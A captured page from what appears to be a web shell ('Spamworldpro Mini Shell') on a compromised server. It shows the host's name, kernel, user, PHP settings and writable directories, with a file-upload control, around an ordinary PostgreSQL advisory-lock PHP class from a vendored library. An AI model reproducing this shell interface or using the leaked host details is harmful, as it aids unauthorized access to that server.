Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/vendor/malkusch/lock/classes/mutex/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/vendor/malkusch/lock/classes/mutex/PgAdvisoryLockMutex.php
<?php

namespace malkusch\lock\mutex;

class PgAdvisoryLockMutex extends LockMutex
{
    /**
     * @var \PDO
     */
    private $pdo;

    /**
     * @var int
     */
    private $key1;

    /**
     * @var int
     */
    private $key2;

    /**
     * @throws \RuntimeException
     */
    public function __construct(\PDO $PDO, $name)
    {
        $this->pdo = $PDO;

        $hashed_name = hash("sha256", $name, true);

        if (false === $hashed_name) {
            throw new \RuntimeException("Unable to hash the key, sha256 algorithm is not supported.");
        }

        list($bytes1, $bytes2) = str_split($hashed_name, 4);

        $this->key1 = unpack("i", $bytes1)[1];
        $this->key2 = unpack("i", $bytes2)[1];
    }

    public function lock()
    {
        $statement = $this->pdo->prepare("SELECT pg_advisory_lock(?,?)");

        $statement->execute([
            $this->key1,
            $this->key2,
        ]);
    }

    public function unlock()
    {
        $statement = $this->pdo->prepare("SELECT pg_advisory_unlock(?,?)");
        $statement->execute([
            $this->key1,
            $this->key2
        ]);
    }
}

Spamworldpro Mini